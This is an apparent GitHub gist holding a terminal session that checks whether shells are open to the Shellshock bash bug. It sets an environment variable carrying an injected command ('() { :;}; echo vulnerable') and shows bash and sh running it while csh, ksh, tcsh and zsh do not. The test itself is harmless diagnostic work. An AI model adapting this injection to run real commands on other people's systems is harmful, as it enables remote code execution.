Last active
August 29, 2015 14:06
-
-
Save emonti/171e67e3075f1a81b0d7 to your computer and use it in GitHub Desktop.
It's a bash thing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
~ export x="() { :;}; echo vulnerable" | |
~ bash -c "echo hi" | |
vulnerable | |
hi | |
~ sh -c "echo hi" | |
vulnerable | |
hi | |
~ /bin/sh --version | |
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) | |
Copyright (C) 2007 Free Software Foundation, Inc. | |
~ csh -c "echo hi" | |
hi | |
~ ksh -c "echo hi" | |
hi | |
~ tcsh -c "echo hi" | |
hi | |
~ zsh -c "echo hi" | |
hi | |
~ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment